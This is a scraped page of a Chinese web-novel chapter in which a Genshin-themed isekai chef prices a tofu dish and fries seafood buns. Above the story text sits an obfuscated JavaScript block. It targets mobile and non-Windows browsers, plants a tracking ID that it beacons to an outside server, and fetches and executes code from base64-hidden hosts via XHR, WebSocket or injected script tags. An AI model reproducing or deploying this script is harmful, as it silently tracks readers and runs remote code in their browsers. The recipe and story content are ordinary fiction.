足迹
生而为王安东笔趣阁
登录
关灯
护眼
字体:

第62章 海鲜煎包(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

回到了异世界餐厅,苏沐风打开了系统面板。

“叮!恭喜宿主,自行研究解锁新食谱————清心蒸豆腐,系统检验质量合格,可以对客人进行出售,售价宿主可以自行设定。”

打开了系统面板后,苏沐风这才接收到系统传来的提示音。(绝对不是作者前面忘记写了。)

系统这个时候才将清心蒸豆腐可以出售的消息传来,办事效率可真低啊,不过算了,反正这也只是单独为甘雨研究的一道菜。

毕竟清心所含有的些许苦涩,一般人是忍受不了的,貌似也只有仙人们愿意吃清心。

“那就定价五千摩拉一份,反正原材料很容易找到,最多也就费一些刀工而已。”

定完了清心蒸豆腐的价格后,苏沐风突然又想起来了之前系统所发放的升级奖励。

“对了,之前系统还奖励了龙利鱼汤和海鲜煎包的做法,反正还有点时间,不如现在就开始练习。”

想到这里,苏沐风便打开了厨房的灯,准备开始烹饪练习。

先从简单的海鲜煎包开始,海鲜煎包,应该算是一种小吃吧,苏沐风心中想到。

“海鲜煎包,也称海鲜包,是蓝星华夏的特色小吃。”

“是一种用米浆、萝卜丝、新鲜鱼肉、虾仁、葱花、肉末等食材一起组成,经过特殊手段油炸的特色小吃,味道可口,入口浓香环绕,回味无穷。”

在蓝星上,苏沐风未曾烹煮过这海鲜煎包,所以他对于这道新菜品也是非常的感兴趣。

而且这也是目前唯一的小吃,小吃的优势就是便于打包,这样一来,以后的每位客户在离开的时候,自己都可以推荐让他带上几个海鲜煎包,边走边吃。

又多了一个赚摩拉的小路子,哇嘎嘎,我真是太聪明了!

苏沐风想到这里,便是马上撸起袖子,准备开始海鲜煎包的制作。

海鲜煎包的食材系统都为苏沐风提前准备好了,用单独的冰柜装着。

这冰柜与蓝星上的冰柜有所不同,食材存放在里面,能够大幅度提高保存时间,保证食材的新鲜。

同时在取出的一瞬间,食材又会变成和平时一样的温度,省去了解冻的时间。

苏沐风从中取出了一根水灵灵的白萝卜,这白萝卜可比苏沐风用来练习切菜的白萝卜质量好多了。

只是将其拿在手上,便能够感觉到白萝卜上面那浓郁的灵气和鲜嫩的汁水。

切萝卜什么对于苏沐风而言简直不是问题,有西风刀法的加持,仅仅几秒钟,这根水灵灵的白萝卜便被切成丝。

西风刀法的作用,会让苏沐风在不断的切菜过程中,增加切菜的经验,从而使其刀法变得更加犀利,可以说是非常恐怖的刀法,相当于厨师中的九阳真经。

将切好的白萝卜放在一边,取了一小块猪肉,将其剁成了肉末装到小碗中,切碎葱花备用,再将系统已经处理好的海虾和鱼肉切碎,放在一旁备用。

再用泡葱姜水,大葱一根切条,再来一块儿生姜切片,这时候把泡好的猪肉、虾仁、鱼肉都倒出来;

沥干水分后再改一下刀,用刀按扁压碎,虾仁再稍微的改刀切小一点,但也不要太碎,否则就失去了其中的弹性。

最后再是香菇先切片再切丁,全部切好后装到一起后,再打入2个鸡蛋、1勺盐、半勺糖、1勺料酒、1勺生抽、少许胡椒粉、1勺食用油,搅拌均匀。

带上手套朝着一个方向搅拌就行,再加入了100克木薯淀粉,这样做出来的海鲜煎包吃起来口感会更q弹。

这海虾和鱼肉也不一般,按照系统的说法,这海虾和鱼肉是取自至冬国南部的挪耶海中的极品海虾和海鱼,含有丰富的营养,是极其美味的食材。

传说这些海虾和海鱼产量十分有限,每年产量不到一吨,是专门供奉给至冬国女王的贡品。

就连至冬国愚人众的十一位执行官们,想要尝到这种海虾,也需要至冬国女皇的恩赐。

当然,至冬国女皇也是非常的慷慨,经常会奖励这些贡品给有功劳的执行官和愚人众成员。

将配料都是准备好后,苏沐风便是开始准备米浆,这米浆可是有讲究,不能太稀也不能太稠。

太稀的米浆油炸出来的海鲜煎包很容易散开,而太稠的米浆煎炸出来的海鲜煎包则会变得太硬,影响口感。

系统提供的米浆所用的米,自然也是系统提供的大米,乃是取自文明古国龙国的饱满灵气珍珠米,珍珠米一年一熟,饱含丰富的矿物质。

每一粒都是十分的充实饱满宛如珍珠一般的滚圆,富含丰富的灵气。

一切材料准备完毕后,苏沐风准备好了一个油锅,往锅中倒入了一半的极品猪油,点火加热,等待油温的升高。

苏沐风用来油炸海鲜煎包的锅铲有点特别,不像普通的锅铲那样半圆,而是显得有些扁平,这样能够更容易保持海鲜煎包的形状。

苏沐风先是在扁平锅铲中糊上一层白花花的米浆,随后将葱花和白萝卜丝铺在米浆上,让其微微定型。

再倒入搅拌好的鱼肉泥,表面用勺子涂抹均匀,最后在最上方放上一个饱满的海虾,然后马上再铺一层米浆,将所有配料都完整的包裹起来,形成一个半球形。

锅中的油温达到刚刚烫手的程度便恰到好处,将铺就在锅铲上的海鲜煎包放入油锅中。

顿时油锅中油汁飞溅,泛起了淡黄色的泡沫,并以放入海鲜煎包的位置为中心,不断朝着四周翻滚开来。

因为在油炸时,海鲜煎包是不能翻转,否则容易让外层的表皮破裂,造成食材泄露,那样海鲜煎包就会失败。

所以在煎炸的时候,是最考验厨师对于时间和火候的把握的,太焦或者太嫩都是会影响成品的口感。

当覆盖在表皮的米浆渐渐化作了漂亮的金黄色后,苏沐风便是将海鲜煎包捞出锅,摆在一边已经准备好的铁丝漏斗上,将上面的油过滤干净。

当海鲜煎包上的油汁全部过滤干净后,一个完美的海鲜煎包便是完成了。

从表面看,有点像普通的生煎包,但是与生煎包不同的是,海鲜煎包的表皮是用米浆做的,口感更加酥脆。